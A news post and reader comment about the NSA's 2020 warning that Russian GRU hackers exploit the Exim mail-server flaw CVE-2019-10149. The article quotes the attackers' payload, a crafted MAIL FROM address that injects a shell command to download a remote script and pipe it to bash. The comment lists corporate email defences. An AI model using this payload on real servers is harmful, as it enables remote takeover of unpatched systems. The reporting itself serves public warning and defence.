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posted by Fnord666 on Saturday May 30 2020, @03:23PM   Printer-friendly
from the patch-your-servers-now! dept.

It's not every day the NSA publicly warns of attacks by Kremlin hackers – so take this critical Exim flaw seriously:

The NSA has raised the alarm over what it says is Russia's active exploitation of a remote-code execution flaw in Exim for which a patch exists.

The American surveillance super-agency said [PDF] on Thursday the Kremlin's military intelligence hackers are actively targeting some systems vulnerable to CVE-2019-10149, a security hole in the widely used Exim mail transfer agent (MTA) that was fixed last June.

Here's a sample of Moscow's exploit code, according to the NSA, which is sent to a vulnerable server to hijack it – we've censored parts of it to avoid tripping any filters:

MAIL FROM:${run{\x2Fbin\x2Fsh\t- c\t\x22exec\x20\x2Fusr\x2Fbin\x2Fwget\x20\x2DO\x20\x2D\x20hxxp\:\x2F\x2F\hostapp.be\x2Fscript1.sh\x20\x7C\x20bash\x22}}@hostapp.be That hexadecimal decodes to: /bin/sh -c "exec /usr/bin/wget -O - hxxp://hostapp.be/script1.sh | bash"

"The Russian actors, part of the General Staff Main Intelligence Directorate's (GRU) Main Center for Special Technologies (GTsST), have used this exploit to add privileged users, disable network security settings, execute additional scripts for further network exploitation; pretty much any attacker's dream access – as long as that network is using an unpatched version of Exim MTA," the NSA said.

In this case, miscreants, linked to the military-backed Sandworm operation, exploit improper validation of the recipient's address in Exim's deliver_message() function in /src/deliver.c to inject and execute a shell command, which downloads and runs another script to commandeer the server. An in-depth technical description of the programming blunder can be found here by Qualys, which found and reported the flaw last year.

Because Exim is widely used on millions of Linux and Unix servers for mail, bugs in the MTA are by nature public-facing and pose an attractive target for hackers of all nations.

The NSA did not say who exactly was being targeted, though we can imagine the Russian military takes an interest in probing foreign government agencies and vital industries. GRU hackers have also previously targeted energy utilities, by some reports.

Previously: 400,000 Servers Using Exim May be at Risk of Serious Code-Execution Attacks


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  • (Score: 1) by RandomFactor on Saturday May 30 2020, @10:31PM

    by RandomFactor (3682) Subscriber Badge on Saturday May 30 2020, @10:31PM (#1001194) Journal

    Yeah, we are talking about entirely different worlds that require very different capabilities to protect.
     
    There is a cocktail of methods that are used for protecting larger organizations with the typical diversity of systems, mailers, clients, users, patch levels, usage cases, & traffic profiles.
     
    For perspective, some of these are:
     
      - Sandboxing incoming files and looking for bad behavior,
      - scraping emails for passwords contained within them and using those to decrypt and sandbox,
      - scanning links for malicious sites of various sorts (credential phishing, malicious downloads)
      - Spoofing, Impersonation and BEC attacks
      - Sender reputation tracking
      - re-scanning links periodically in case the bad guys change the site to be malicious after delivery
      - Tracking emails determined to be malicious post delivery and pulling them from the mailboxes they were delivered to
      - - Following any forwarding or replies within the organization and removing those copies as well
      - Generating alerts on individuals that threats were delivered to
      - Tracking which users actually interacted with threat sites
      - Quarantining blocked emails and allowing direct user interaction to (safely) examine and release blocked emails,
      - Integration with other tools in the environment
      - - allow simulation malicious emails to train users
      - - If a link is bad block it at the firewalls/proxy
      - - block bad files from execution on workstations
      - allow end users to report and individually block spam and malware,
      - Scan OUTBOUND email to capture email, alert, and block if an internal user gets popped
      - Track and report on trends, attackers, campaigns in use against the organization
     
    And these capabilities need to be updated approaching real time.

    --
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